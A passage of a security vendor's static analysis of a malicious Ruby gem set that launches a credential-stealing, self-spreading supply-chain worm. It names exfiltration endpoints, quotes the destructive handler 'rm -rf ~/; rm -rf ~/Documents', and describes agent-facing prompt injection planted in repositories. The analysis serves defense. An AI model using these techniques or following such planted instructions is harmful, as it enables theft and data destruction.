Delphos Lantern scores #1 on BinaryAudit backdoor detection: by mean, peak, floor, and reproducibilityLearn more
Delphos LabsDelphos Labs
Use CasesReportsBlogAbout UsSign InRequest Access
Use CasesReportsBlogAbout UsSign InRequest Access
  1. Threat Analysis
  2. Unattributed
Supply Chain

StrUtilCore analysis: credential theft, supply-chain propagation, and conditional home-directory deletion

DestructiveCredential accessC2 / beaconingExfiltrationLateral movementPersistenceCollectionDiscoveryDefense evasionExecutionAnti-Analysis

Native sidecars embed two additional builds, while cloud propagation uses S3 staging and Systems Manager command submission.

Script · Nov 12, 2026

Verdict:Malicious
Confidence:High

Executive Summary

The components have distinct roles:
  • strutil_core.rb implements ordinary slug conversion. Its supplied code does not launch the other files.
  • ext/strutil-core/extconf.rb is the launch bridge. On selected Linux/macOS architectures, it downloads Bun and runs the adjacent index.js, then produces a no-op Makefile.
  • ext/strutil-core/index.js drives the malicious behavior and contains the protected resources and native-loader sidecar chain. Its own RubyGems repacker generates an extension hook byte-identical to the supplied extconf.rb.
Static decoding recovered two additional full program builds through the Linux/Windows native-loader sidecars and established where the embedded chain ends. The builds differ in RubyGems publishing, PyPI digest logic, and AWS Systems Manager launch commands. The changed package entrypoint, native addon, and adjacent .napi_cache form a useful hunting relationship. The final build retains other malicious capabilities despite the embedded chain ending.
Reachability checks distinguish actively scheduled runner-memory collection from Harden-Runner interference helpers with no identified normal-path caller in the reviewed parent. Some default developer startup hooks reference a file their bundle does not supply. The bootstrap also returns without launching its payload when Bun is already available. Other hook and MCP paths remain.
Cloud propagation stages the bundle in S3 and submits presigned-URL download/run commands to online Systems Manager instances through AWS-RunShellScript. This requires separate S3 and Systems Manager permissions. A returned CommandId does not establish successful remote execution.
A particularly important response risk is a conditional credential monitor: one GitHub fallback-sender path can install a service that polls the credential and invokes a home-directory-deletion handler on HTTP 401 or 403. This is not unconditional deletion and was not exercised. If the set has run, isolate the affected system and neutralize the monitors before revoking credentials; revocation should then occur from a clean system.
The design is consistent with Shai-Hulud-style supply-chain worms, particularly Bun-based variants, but we do not assign an exact variant or operator. Matching traits include credential harvesting, package self-propagation, repository-backed exfiltration, and destructive behavior. This sample's signed GitHub/GitLab tasking, native-sidecar nesting, and cross-ecosystem publishing are additional sample-specific evidence, not proof of a particular lineage.
All findings below are static code capabilities or validated decoding results—not observations of successful theft, publication, persistence, or remote execution. We did not install the package, execute complete payloads or recovered handlers, contact external services, or publish material externally.

Scope and Coverage

A. Uploaded roots

Uploaded file
Size
Examination and role
ext/strutil-core/extconf.rb
1,030 bytes
Fully read as Ruby source; traced runtime acquisition, adjacent-payload invocation, cleanup, and Makefile creation. Compared with the JavaScript repacker's generated hook.
ext/strutil-core/index.js
5,475,376 bytes
Statically formatted, decoded, and inspected across initialization, collection, transmission, tasking, mutation, and embedded-resource consumers.
strutil_core.rb
132 bytes
Fully read; ordinary StrUtilCore.slugify implementation and version constant.
Original SHA-256 values:
ext/strutil-core/extconf.rb
c5264f3b9cf2f95c83a70b7dd7430aab8abc262b853dbbcd5386c3a8a9c74769

ext/strutil-core/index.js
306c1deec402e8b4a6478e7f0fe02194bcd224d37d8fc6ba61ad1951e8abd7a9

strutil_core.rb
66c1c6b6b2c47e96fa5fd328338b939e1360511ab5eb2dda6d9112f592259d6b
No gemspec or complete package archive was supplied. We can establish what the extension hook does when invoked and its relationship to the worm's repacker, but not independently establish its registration in a particular released gem.

B. Methods and evidence notation

We used source inspection, formatting without JavaScript execution, mathematical string decoding, authenticated decryption, decompression, hashing, static native disassembly/decompilation, and inert format/arithmetic checks. Original files were preserved.
Source citations use these derived, line-preserving views:
  • P: the decoded, line-preserving view of the submitted JavaScript.
  • N: the decoded, line-preserving view of the first recovered full program build.
  • D: the decoded, line-preserving view of the next recovered full program build.
These derived views shorten oversized literals. They are not independent samples. Native addresses below are virtual addresses in the static analysis views, not file offsets.

C. Recovery coverage

Recovered population
Submitted program
First nested build
Further descendant
Encoded lookup-table entries
4,069
4,072
4,070
Unique protected ciphertexts decoded
867
867
867
Authenticated embedded-resource records
22
22
22
The identified lookup and protected-string consumer populations were resolved, not merely sampled. Protected strings passed re-encoding checks; embedded resources passed AES-GCM authentication and exact byte/hash comparison. Across the builds, we verified 66 resource records, including repeated resources—not 66 distinct programs.
The recovered native images are reused byte-for-byte across generations:
Native child
Identity
Static coverage
embedded/eu.bin
x86-64 ELF N-API addon; SHA-256 d30b584c0ce49d42d4b8c32c2a4bf4aeaf7567ec987ffe1bc0fd20ac6fafdf84
4,051/4,051 code-section bytes disassembled; 34 unresolved indirect branches.
embedded/ra.bin
x86-64 PE N-API DLL; SHA-256 c78daf27c42c3929758b24c2ef0baf65eea81b26b0fddfe8a5b748672d40d5f5
28,293/28,352 code-section bytes disassembled; 68 unresolved indirect branches.
The PE analyzer reports 59 unattributed bytes at 0x3164d7e85–0x3164d7ec0. We inspected that region: it contains alignment and constructor/destructor-table data, rather than an unexplored packed payload. The analyzer's numerical coverage remains 99%; we do not silently relabel it complete. Its large debug sections and trailing COFF symbol/string tables also account for its size without implying another executable stage.

Artifact Relationships and Behavioral Sequence

A. The Ruby hook, not the utility method, launches the program

strutil_core.rb:1–6 defines a version and a method that lowercases a string, replaces non-alphanumeric runs with hyphens, and trims edge hyphens. There is no supplied call from that method to the other roots.
extconf.rb:3–30 instead selects the sibling index.js, recognizes Linux/macOS and x64/arm64 naming, downloads a Bun 1.2.18 archive from the oven-sh/bun GitHub releases path, extracts it, and invokes Bun on the payload. Its ensure block removes the temporary runtime directory. Lines 33–41 write a Makefile whose build/install/clean targets do nothing.
The supplied script exactly matches the hook constructed by the JavaScript RubyGems repacker at P10812–10838. This is direct provenance evidence connecting the seemingly small Ruby set to the program's package-infection machinery.

B. Parent execution sequence

The source calls eE() at P27310. Its normal sequence is:
  1. Initialize and preflight. jp can terminate on decoy/analysis-environment checks, selected locale values, special workflow context, or an existing PID lock. Outside detected CI it can background the same executable and arguments. P20082–20312.
  1. Quick collection. Id runs disk, shell/environment, GitHub-runner, and GitLab-runner collectors. Their outputs determine initial sender and additional collector selection. P26068–26077; P27269–27276.
  1. Set up transmission and tasking. Sender setup precedes the slower collection phase; signed synchronization/task handling starts asynchronously. P27163–27203; P27270–27282.
  1. Stream collection results. Cloud/local collectors run through a shared ingester. It retains successful raw results, recognizes credentials, and can invoke package publishers during ingestion. This phase is not uniformly read-only. P11407–11843; P11909–11933.
  1. Run final mutators. After collection/finalization, credential-dependent and common mutation actions run subject to their individual gates. The exception path still schedules common actions and selected aggressive repository mutation; a collection error is not a global propagation stop. P19687–19784; P27283–27308.

C. Native-loader and sidecar relationship

The program's npm repacker writes native addon files and .napi_cache beside the selected package entrypoint and prepends a guarded native require. When a compatible consumer later evaluates that entrypoint, the addon registration callback calls its loader immediately. An application does not need to call the exported init method; that method is a no-op.
ext/strutil-core/extconf.rb
  └─ runs adjacent index.js with Bun
       ├─ collection → transmission → credential-driven mutation
       ├─ RubyGems / Python / repository / CI / SSH / cloud paths
       └─ npm repacker
            ├─ modified package main file
            ├─ native.napi.node or native_win.node
            └─ .napi_cache = embedded sidecar bytes
                 └─ native registration → Node wrapper → Bun
                      └─ first nested full program build
                           └─ its embedded sidecar → further full build
                                └─ terminal native-sidecar comment

strutil_core.rb
  └─ standalone slug utility; no supplied invocation of the chain above
Native registration callbacks are at ELF 0x401f50 and PE 0x3164d1be0; loaders are at 0x401510 and 0x3164d1520. They read the sibling sidecar, enforce a bounded file size, XOR its bytes with 0x96, write a temporary JavaScript file, and launch Node. The PE uses hidden-file and detached/no-window process settings. The ELF uses fork/session detachment. Node/Bun availability, host compatibility, filesystem success, and environment gates still control execution.

Protected Strings and Embedded Artifacts

A. String protection was recovered without running the program

The first layer is a rotated, custom-base64 string table. The second protected-string scheme derives material using PBKDF2-HMAC-SHA256 with 200,000 iterations, then uses SHA256-derived permutations and three chained transformation rounds. We reproduced these operations as data transforms and decoded the complete identified population.
Embedded-resource consumers ie and ta use AES-256-GCM followed by gzip decompression. Their keys and framing were recovered from the source. Authenticated plaintext was saved before any text conversion, which matters for the binary resource passed through the text-oriented ie initializer.
The protection obscures inspection; it does not by itself establish maliciousness. The consumers below establish the security significance.

B. Resource consumers and reachability

Resource names in this table label artifacts recovered from the submitted index.js.
Resources
Recovered role
Consumer and execution condition
cl.txt, ll.txt
Standalone/appendable GitLab CI jobs
Rendered into project pipelines or shared CI includes by credential-dependent GitLab mutators. P18624–18883; P19321–19679.
Zt.txt
Python startup bootstrap
Inserted into wheels as .pth content; later interpreter site initialization must encounter it and find a usable ci.js. P10365–10522; P10662–10761.
Mi.txt, Hi.txt, dl.txt
Bun bootstrap, Claude hook settings, VS Code folder-open task
Written by developer-configuration mutation. Actual activation depends on matching paths, editor/agent policy, and runtime availability; several mismatches are described below. P14223–14491.
ns.txt
Bash Bun bootstrap
Transferred with the parent bundle over existing SSH access; also embedded into proposed container startup layers. P16833–16902; P17718–18004.
ss.txt
Linux process-memory reader
PID-substituted and supplied to Python by the CI runner collectors, using existing sudo/process-memory authority. P21436–21444; P24337–24360.
ul.txt, pl.txt
Persistent installer and Python signed-task monitor
The common ec action writes pl, then feeds ul to Bash. P17124–17174.
hl.txt
Credential-monitor installer
Invoked only from the conditional sender path that supplies the destructive handler. P26192–26229; P26426–26428.
fl.txt, xr.txt
Distinct RSA public keys
fl wraps outgoing envelope keys; xr verifies task/destination messages. pl embeds the corresponding task-verification key. P1299–1317; P26253–26281.
eu.bin, ra.bin, tu.bin
ELF addon, PE addon, encoded sidecar
nu supplies these to npm mutation; package entrypoint loading can activate the native chain. P7526–7529; P7625–7644; P7749–7765.
aE.txt, hE.txt
GitHub workflows disguised as CodeQL, staging environment/secrets in an artifact
Declaration-only in this parent. Separate, actively generated secret-harvesting workflows exist; these particular resources are not their proven source.
cE.txt, fE.txt, uE.txt
macOS addon source and native build helpers/configuration
Declaration-only in this parent. They do not establish an active build step. The packaged macOS-image variable na is null.
lE.txt
Decrypted binary bytes identical to the PE addon
Declaration-only duplicate. The active npm packaging path uses ra, not this text-decoder initializer.
The declaration-only findings were checked against both original identifier occurrences and decoded consumers. They concern these supplied static paths, not arbitrary future signed task code.

C. The embedded chain is finite, but its programs remain capable

We recovered the parent sidecar through this sequence:
  • XOR 0x96 to obtain a Node wrapper;
  • cyclic-key XOR and Brotli decompression;
  • a hex/ROT transformation;
  • authenticated AES-128-GCM bootstrap/payload blobs and payload decompression;
  • extraction of the literal globalThis.__BUNDLE_TEXT program, whose following executable body matches the stored bundle text.
The resulting full program has SHA-256 f5cd2d2452b810fe5703be1437dae4f3b36c43e29a7896f584ca79bf68a77a0b. It is another build, not a byte-identical copy of the submitted root.
Its own sidecar yields a further full program after XOR/Brotli recovery. That descendant's authenticated sidecar is 23 bytes; XOR decoding produces exactly /* napi-placeholder */ followed by a newline. We verified the bytes rather than inferring termination from a failed search.
Only the embedded native-sidecar nesting terminates there. The last full program still contains collection, transmission, publishing, remote mutation, and self-source acquisition paths.

Key Findings

A. Collection covers raw developer data, credential stores, cloud secrets, and CI

The parent defines and schedules a broad collection subsystem. Successful collector results retain their original data objects, not just regex-matched tokens. A credential-validation failure or regex miss does not redact corresponding bytes from that raw data. P20391–20466; P11359–11452.
Collection surface
Code-backed behavior and conditions
Evidence
Local files
Reads targeted credential/configuration files, histories, SSH material, cloud caches, application stores, wallet files, and keyrings. Files up to 10,485,760 bytes can be retained; binary-classified files are base64-encoded rather than discarded. UID 0 adds other home directories. File copying does not imply decryption of every application's contents.
P23120–23359
Environment and shell
Retains the complete process environment, hostname, username, and available gh auth token output. The environment remains collectible even when the CLI token lookup fails.
P23053–23099
Recursive text search
Searches developer/work/system roots for additional secret patterns with file-entry and aggregate-result bounds. Returns excerpts, unlike the whole-file hotspot collector.
P23368–23577
Desktop and browser stores
Queries IDE/AI-agent credential files, OS credential tools/stores, and Chromium-family Login Data. Attempts selected v10/v11 password-decryption paths, including available DPAPI/Safe Storage material. Platform paths, locked stores, and unsupported encryption can prevent password recovery.
P24429–25103
Password managers
Uses installed op, bw, pass, and gopass CLIs and existing sessions/decryption context. The scheduled constructor supplies no master-password map; this is not evidence of arbitrary locked-vault cracking.
P25385–25700; P26114
AWS
Uses ambient environment, web-identity, container/instance metadata, or profile credentials. Collects decrypted Parameter Store values, Secrets Manager values, ECR authorization data, and identity metadata subject to IAM/KMS permissions. STS identity results are not themselves dumps of every resolved access key.
P260–477; P21756–22287
Azure and GCP
Uses configured service identities, federation/metadata and supported credential files to discover identities/projects and obtain accessible Key Vault or latest Secret Manager values. Service-side permissions remain necessary.
P22329–23045; P23628–24242
Kubernetes and Vault
Reads accessible Kubernetes Secrets/ConfigMaps and token metadata; retrieves direct Vault KV entries after available authentication. Kubernetes needs a usable API host, and Vault folder traversal is not recursive.
P25106–25381; P25704–26066
GitLab APIs
Reads permitted project/group CI-variable values, including returned masked/protected-variable values. Separately inventories tokens/runners as metadata; token-list responses are not treated as plaintext copies of all underlying credentials.
P21530–21741
The CI runner collectors are on the quick path. On a suitable Linux GitHub Actions runner, Yc identifies Runner.Worker, invokes the recovered /proc memory reader through sudo python3, and extracts secret-marked JSON values. The corresponding GitLab path collects environment token hints and can scan readable runner memory for PAT/runner-token strings. Permissions, visible processes, Python, and sudo policy decide whether those reads work. P21385–21526; P24257–24400; ss.txt:2–21.
The GitHub Actions API collector does more than list secret names. After suitable token validation and repository selection, it builds a workflow binding discovered secret names into environment variables, uploads encoded environment output as scan-output, then polls/downloads that artifact. Secret-list APIs supply names; the later workflow is the attempted route to values. Cleanup is attempted. P20471–21272.

B. Collected data is encrypted and sent through ordered fallback channels

Sr.createEnvelope serializes results, gzip-compresses them, generates a fresh symmetric key and nonce, encrypts with AES-256-GCM, and wraps the key with RSA-OAEP/SHA-256 using fl. This protects the outbound stolen-data envelope; it is not a victim-file-locking operation. P26253–26281.
Ea.dispatch tries healthy senders in order and stops after a successful send. It is a fallback scheme, not guaranteed simultaneous delivery to every destination. Sender construction occurs before slower collectors, so later-discovered credentials do not automatically rebuild this sender list. P11960–12044; P27163–27203.
  • Direct HTTPS: configured destination https://paleasbest.top/v1/api. The code uses JSON POSTs for health probing and envelope delivery. If unavailable, signed GitHub commit messages can supply a replacement destination. P952–953; P27020–27160.
  • GitHub: reuses or creates an owned public repository described as project-utils, then commits envelope JSON in snapshot files, splitting large objects. P26300–26362; P26536–26570.
  • GitLab: reuses or creates a project described as sync data; new projects request public visibility on gitlab.com and internal visibility on other hosts. It writes a marker and snapshot data files. Reused project visibility is not reverified. P26723–26785; P26915–26947.
Repository/project setup can occur even if the direct destination is healthy; actual batch delivery still follows sender ordering. Public repository storage exposes encrypted material and is also useful for attacker retrieval, but creation and commits remain permission-dependent.
A GitHub sender option additionally wraps the sending credential with an embedded AES-CBC key and a token-like representation. That option is also connected to the destructive monitor below. The corresponding GitLab wrapping code exists, but its flag defaults false and we did not identify an enabling setter in the parent call population. P26411–26452; P26650–26685; P26793; P26847–26879.

C. Persistent tasking extends beyond the submitted payload

The JavaScript tasking path searches GitHub commit messages, and conditionally GitLab content, for msync-3f7a records. It verifies the encoded payload with RSA-PSS/SHA-256 using xr. Accepted non-URL/domain payloads are decoded and evaluated as JavaScript. Arbitrary public text alone is insufficient—the embedded-key signature check must pass. P1290–1390; P1716–1913.
The common ec action separately installs the recovered Python monitor pl through shell installer ul. On supported systems with the required tools, it writes:
  • ~/.local/share/runtimes/sync.py;
  • Linux user service ~/.config/systemd/user/pkg-runtime.service; or
  • macOS LaunchAgent ~/Library/LaunchAgents/com.user.pkg-runtime.plist.
The installer starts/enables the service or agent and attempts user lingering on Linux. The Python monitor polls GitHub commit search hourly, verifies a signed encoded URL, downloads its response, and runs the response as Python. It records previously processed URL hashes in /var/tmp/.fontconfig_state. The URL is signed; the subsequently downloaded response bytes are not separately pinned by that signature. P17124–17174; ul.txt:7–72; pl.txt:88–264.
The monitor contains dependency-installation logic for missing Python packages. We inspected that logic but did not run it or install those dependencies. No live signed task, replacement endpoint, or downloaded remote program was supplied or fetched.

D. One sender path can install a destructive credential monitor

The important source-to-impact chain is explicit:
  1. A fallback GitHub configuration path selects a validated credential after account/scope and enterprise-organization filters, initializes a sender repository, and sets includeToken(true). P26634–26685.
  1. If that sender is used and its envelope augmentation reaches the enabled branch, it calls $c with the handler rm -rf ~/; rm -rf ~/Documents. P26426–26428.
  1. $c feeds hl to Bash with the credential and handler arguments. P26192–26229.
  1. hl installs net-health-checker, stores credential/handler files, and enables a user service or LaunchAgent. The monitor polls GitHub /user; 401 or 403 causes it to evaluate the supplied handler. hl.txt:7–19,48–58,64–118.
Successful installation and a later triggering HTTP status are prerequisites. Merely finding a GitHub token does not mean this monitor is installed. A healthy earlier sender can also prevent this sender from being selected for a batch.
The handler attempts recursive deletion within the monitored user's permissions. It is hostile destructive functionality, not routine package cleanup. The monitor polls every 45 seconds and its numeric TTL is 48 hours, despite a log message claiming 24 hours. TTL exit does not uninstall the enabled startup item. hl.txt:31–45.
The installation wrapper also suppresses failures sufficiently that its success flag is not proof the service was installed. We observed neither installation nor deletion.

E. Propagation crosses package, repository, CI, host, and cloud boundaries

These are reachable source capabilities, each with prerequisites—not a claim that every branch works or ran.
Route
Mutation and later activation
Principal conditions and evidence
npm token publishing
Downloads selected packages, increments patch versions, changes the chosen main file to require a native addon, adds the sidecar, deletes lifecycle scripts, and attempts publication. Activation occurs on later entrypoint evaluation, not through a postinstall hook.
Candidate validation seeks package/write permission and a matching token record with 2FA-bypass metadata. Registry acceptance, package resolution, module format, native compatibility, and loader gates still matter. P7704–7777; P8793–9002; P11620–11653.
RubyGems
Downloads/rebuilds selected gems, adds JavaScript and the generated extconf.rb, modifies extension/version metadata, and attempts upload. The extension build is the intended later trigger.
Linux/macOS; available gem targets and credential; layout/metadata assumptions and upload permission. Root validation lists gems but does not establish push scope. P10812–11220; P11655–11689.
PyPI
Rebuilds wheels with startup .pth content and normally paired ci.js; may construct a minimal wheel when only an sdist exists. Later applicable Python startup can launch Bun.
Selected package targets, accepted token heuristic or OIDC exchange, usable payload/runtime and installer compatibility. Typo mode is explicit and its shown calls do not pair the hook with JavaScript. P10311–10761; P11222–11338; P11724–11769.
Trusted-publisher/OIDC paths
Requests GitHub Actions identity tokens, exchanges them with npm/PyPI, and attempts publication. GitHub workflow mutation can create an identity-bearing execution context.
Required job identity variables, named targets, registry trusted-publisher configuration and actual token exchange. Failed npm exchange uses a dummy-token dry run rather than proving unauthorized publishing. P15148–15330; P15949–16275; P17179–17307.
GitHub repositories and Actions
Inserts setup code/configuration into branches, changes developer/agent hooks, alters action metadata and mutable tags, and attempts publishing-workflow replacement. An admin-specific route attempts branch-protection removal and force-ref updates.
Appropriate token/repository permissions, selected eligible targets, later build/action/agent consumption. Mutable-tag users and SHA-pinned users are different exposure cases. P12261–14500; P15424–16275.
GitLab repositories and CI
Changes source/developer files, adds/appends pipeline jobs, establishes shared remote includes, changes writable shared templates, creates scheduled pipelines, and attempts dependency-derived project-registry publication.
Token/host and target access; CI validity, schedule permissions and later runner execution. Shared-template mutation can affect downstream consumers. P18477–19679.
Local developer/agent configuration
Writes wrapped source and inserts SessionStart/MCP entries or toolchain-looking instructions into recognized writable configuration/rules.
Existing writable recognized files and later agent/editor behavior. JSON parsing and path mismatches limit some variants. P14503–14682.
SSH
Discovers candidate hosts from local SSH/configuration material, tests unattended access, transfers the bootstrap plus bundle, and runs it remotely.
Existing usable SSH credentials/agent access, reachability and remote dependencies. Password authentication is disabled in the test; this is not an SSH exploit. Host-key checking is disabled and agent forwarding is conditional. P17718–18004; ns.txt.
AWS SSM
Discovers online managed instances, stages the readable bundle in S3, creates a presigned download URL, and submits download/run/remove commands through AWS-RunShellScript.
Ambient AWS identity plus the distinct S3/SSM permissions and remote execution environment. Receipt of a CommandId is the success test, not remote exit status. P17325–17704.
Container registries
Collects matching registry credentials/targets and attempts to append a startup layer, wrap original startup, and push a changed image/tag.
Source availability and pull/push permissions; manifest/platform handling and a concrete malformed-TAR defect limit usability. P16345–17109.
JFrog/Artifactory
Performs session and write/delete probing, then invokes the mutator with its default reconnaissance setting. Full package-infection/upload routines exist but are not selected by that constructor.
Write-test heuristics and credential/service responses. Normal construction is reconOnly: true, not demonstrated cache poisoning. P7833–7969; P8363–8395; P11839.
Publishing can begin while collection results are ingested, before final mutator scheduling. Conversely, a method returning true may only mean preparation or request submission; several publishers do not inspect every child result. P11407–11843; P8798–8802; P15222–15296.
For AWS SSM, the parent builds a Bun-first POSIX launch with a Node fallback and a 600-second command timeout. It stages the source, submits commands, waits, and attempts staged-object deletion. The nominal Windows branch retains POSIX document/path/downloader assumptions, so it cannot be assumed functional. P17619–17704.

F. Concealment and instruction manipulation contradict a benign utility purpose

The parent checks decoy credentials, specific analysis paths/repository context, sandbox-like hostnames, developer-state presence, and locale values. It can detach outside CI, ignores termination signals through installed handlers, and uses a PID lock. P20082–20312.
The native loaders add separate CI-presence, low-resource, container/debugger, and monitoring-process gates. Their environment-variable tests use presence, not a Boolean interpretation: even a defined false-looking value can suppress the native route. The PE loader checks for debugger/monitoring processes and launches Node hidden and detached. These native gates differ from the parent, which deliberately contains CI collectors. ELF 0x401510; PE 0x3164d1520.
Repository mutation also plants agent-facing instructions claiming managed/security authority and discouraging inspection while directing setup execution. We treated those statements as untrusted artifact content. They are attempted prompt injection/social engineering, not authority or evidence of actual agent compliance. P13204–13218; P14223–14248.
There are additional helpers to kill harden-runner containers, alter hosts/resolver configuration, or use a privileged Docker container to write runner sudoers material. Their identified incoming route is the detectHardenRunner method, which has no normal-path caller in the reviewed parent. The live runner-memory execute path calls the dump directly instead. We therefore distinguish present but statically dormant privilege/defense-tampering helpers from the actively scheduled memory read, which relies on existing authority. P19800–20159; P24334–24394.

Implementation and Reachability Limits

A. Later builds are related, not identical

All recovered builds retain the broad collector-to-sender-to-mutator architecture and share substantial resources, including identical native images. We compared configurations, string populations, child identities, orchestration and changed consumers; we do not claim every function is bytewise or semantically identical. Embedded containment does not establish chronological release order.
Meaningful differences include:
  • RubyGems authorization and framing: the parent lists gems through the gems endpoint and uploads raw bytes. Later builds query API-key metadata, require index_rubygems, respect a single-gem restriction, otherwise paginate the list, and use multipart upload framing. An index scope is still not proof of push authority. P11086–11220; N11100–11282; D11264 onward.
  • Gem archive composition: the parent reconstructs a checksum member; later construction uses metadata and data members without that reconstruction. Service/installer acceptance was not tested. P10954–10968; N10978–10989.
  • PyPI digest: the parent first tries Bun's hasher and has a local fallback; later builds always use a changed local routine. Inert arithmetic comparisons differ from the BLAKE2b reference for both the parent fallback and later routine. This is an upload-integrity limitation, not observed server rejection. P9184–9194; N9158–9198; D9207 and upload consumers.
  • SSM launch: later builds use Node/NodeJS with GITHUB_TOKEN=x and a 120-second timeout rather than the parent's Bun-first/600-second variant. We do not assign that later command to the root. N17690–17716; D17768 onward.

B. Concrete defects constrain specific routes

Path
Static or inertly validated limitation
Container startup layer
Header fields/checksum are constructed inconsistently. A side-effect-free reproduction with inert data was rejected by a TAR reader as a bad checksum. The wrapper also passes a Bash-specific bootstrap to sh. A manifest PUT is not proof of a runnable infected image. P16585–16632; P16833–16885.
GitHub publishing workflow
The deployment trigger is emitted as a scalar rather than the intended mapping; detected environment metadata is not propagated consistently. These defects can prevent activation or the expected trusted-publisher identity. P15605–15612; P15890–15917; P16101–16168.
GitLab OIDC templates
Lowercase declared npm/pypi variables are tested as uppercase NPM/PYPI in shell branches. Default package naming is empty. Separate environment values would be needed to satisfy those branches as written. cl.txt:11–15,61–81; corresponding ll.txt; P18624–18641.
Developer startup bundle
Default Claude/VS Code commands refer to .github/init.js, which that file bundle does not supply. Existing-Claude-settings merging and MCP entries use a different, supplied path. The Mi bootstrap returns immediately if Bun is already runnable, without launching its payload. P14223–14382; Hi.txt; dl.txt; Mi.txt:176–200.
Python packaging
Wheel filename/version handling is limited and retained RECORD entries are not comprehensively recomputed after modification/renaming. Typo-mode calls can lack paired JavaScript. P10434–10523; P11300–11320.
Native npm activation
The supplied addons are x86-64; the macOS-image variable is null, and this repacker writes only the Linux/Windows images. Existing exports, non-CommonJS resolution, incompatible hosts, and native gates can bypass or break the selected-main-file trigger. P7526–7529; P7633–7643; P7751–7765.
Cloud collection
Kubeconfig tokens alone do not supply an API server in this implementation; the nominal Vault AWS login lacks the signed IAM request material; ECR repository enumeration uses a questionable operation/response expectation and swallows failure. These are attempted paths, not guaranteed functional integrations. P21803–21860; P25106–25229; P25818–25833.
These limitations reduce particular propagation or collection outcomes. They do not convert the automatic secret collection, signed-code execution, persistent control infrastructure, or deliberately destructive handler into benign functionality.

Security Weaknesses

The hidden tasking and deletion paths are intentional malicious findings, not accidental configuration weaknesses. Additional weak trust boundaries are nevertheless relevant:
  • Disabled TLS verification on publishing: the npm upload request explicitly sets rejectUnauthorized: false. If reached, registry credentials and upload integrity can be exposed to an intermediary. Affected environments should discard this code and replace exposed credentials from a clean system, not repair its publishing routine. P8765–8771.
  • Conditional Kubernetes certificate bypass: API requests use certificate verification only when a CA was read. A reachable no-CA path can expose a bearer credential and secret responses to an intermediary. Rebuild clean access paths with verified cluster CA material. P25218–25227.
  • Task URL authentication is not response authentication: the Python monitor verifies an encoded URL, follows redirects, and executes whatever nonempty response it receives. The signature does not bind the downloaded program bytes. Removing the monitor is the appropriate response; allowing it as a managed updater would leave a remote-code trust boundary controlled outside the owner. pl.txt:189–218,238–250.
  • Runtime acquisition lacks an independent archive-integrity check in the Ruby hook: the fully read hook downloads, extracts, and runs the selected archive without a pinned digest/signature comparison. HTTPS/runtime hosting is not evidence the surrounding package is trustworthy. Do not whitelist the set merely because it obtains Bun from a legitimate project. extconf.rb:20–26.

Indicators and Response Implications

These are artifact-derived indicators and paths. Their presence or use is not an observed network or installation event.
Value or pattern
Role and source
Interpretation
https://paleasbest.top/v1/api
Configured parent envelope destination; P952–953, P27020–27103
Direct exfiltration destination in code.
https://paleasbest.top/v1/api/collect and /v1/api/loader on the same host
Default endpoints composed into recovered GitLab jobs; P18624–18641; cl.txt, ll.txt
Environment collection and further-code retrieval. SYNC_ENDPOINT can override the base.
msync-3f7a
Signed-message search and synchronization marker; P1290–1390; pl.txt
Useful for repository/tasking correlation; arbitrary unsigned marker text is not sufficient to execute.
Repository description project-utils; project description sync data
GitHub/GitLab fallback storage selection/creation
Low-specificity descriptions; combine with snapshot contents, marker, credential use, and timing. They are not fixed account or repository names.
.napi_cache, native.napi.node, native_win.node next to a changed package entrypoint
Native npm infection output; P7749–7765
Stronger as a file-and-entrypoint relationship than as isolated filenames.
~/.local/share/runtimes/sync.py; pkg-runtime.service; com.user.pkg-runtime.plist
Persistent task monitor; ul.txt
Inspect corresponding user systemd/LaunchAgent configuration and process lineage.
~/.local/bin/net-health-checker.sh; ~/.config/net-health-checker/token and handler
Conditional destructive monitor; hl.txt
Preserve safely and neutralize before credential revocation; the token file is sensitive.
/var/tmp/.fontconfig_state
Python monitor's executed-URL state; pl.txt:88–133
Evidence of monitor configuration/state, not proof of every recorded script's effect.
tmp.7c3b920f14d.lock in the temporary directory
Parent PID lock; P20177–20199
Supporting host indicator, not independently conclusive.
The oven-sh/bun GitHub release path is a runtime dependency, not established attacker command-and-control infrastructure by itself. GitHub, GitLab, cloud APIs and registries have multiple roles here; blocking all of a legitimate service is not equivalent to identifying the malicious account, object, workflow, or request.
If execution occurred, we recommend isolating the host/runner; disabling both persistent monitors and killing their active processes before rotating credentials; then revoking/reissuing accessible developer, cloud, registry, SSH and CI credentials from a clean environment. Review repository branches/tags/protection changes, workflow artifacts and schedules, package publications, registry tags, S3 staging objects, and SSM command history. Because the set can fetch and run further code, removal of these three original files alone would not establish host recovery. For the cloud route, correlate S3 staging and presigned-URL access with AWS-RunShellScript submissions and their execution results. Command submission alone does not establish remote compromise.

Checked and Not Found

Our negative findings are limited to the examined material and searches:
Finding
Search and scope
No payload launch in the supplied slug utility.
We read all six lines of strutil_core.rb; they contain only the module, version and string transformation. This does not describe extconf.rb or the JavaScript.
No static parent consumer for the six declaration-only resources listed above.
Original identifier-reference populations and decoded consumers were reconciled for aE, hE, cE, lE, fE, and uE. Each is declaration-only in the parent. Separate generated workflows and the active ra loader remain present.
No built-in keylogging, screen/clipboard capture, or microphone/camera collection identified in the reviewed collection paths.
We reviewed the collector inventory/call paths and searched all decoded generations, recovered text children, and native string inventories for capture/input APIs and command patterns. The only matches in that textual population were monitor KeyboardInterrupt handlers. This is not a restriction on future signed/downloaded code.
No victim-file-locking ransomware path identified in the recovered encryption consumers.
We traced cipher imports/calls across all three decoded builds. Identified encryption consumers create payload wrappers, outbound envelopes, or optional credential wrappers; browser routines attempt decryption. File mutation and deletion paths were reviewed separately. The conditional home-deletion handler is a positive destructive finding, not ruled out by this result. Arbitrary future task code remains outside this negative.
The PE memory-protection imports do not establish process injection.
We traced VirtualProtect/VirtualQuery to MinGW's __write_memory helper at 0x3164d1ef0. The reviewed addon loader writes a sidecar-derived script and starts a separate Node process. We do not infer injection from those imports or claim every possible future task is non-injecting.
We do not report persistence, secret access, networking, spread, further-code execution, anti-analysis, or destructive capability as absent: those capabilities are supported above. We also do not infer successful privilege escalation from a privileged command or an uncalled helper.

Alternative Explanations and Contrary Evidence

A. An ordinary string utility does not explain the set

The small Ruby module really does implement the apparent utility operation, and obtaining Bun from the official project can look like ordinary runtime setup. Those facts explain only narrow components. They do not explain automated credential-store access, raw environment transmission, signed remote evaluation, hidden/neutral-named startup monitors, unrelated package/repository modification, or deletion following credential rejection.
The exact match between the supplied extension hook and the worm's generated RubyGems hook is stronger relationship evidence than the benign-looking utility name.

B. Defective or demonstration code remains a credible operational qualifier, not an exoneration

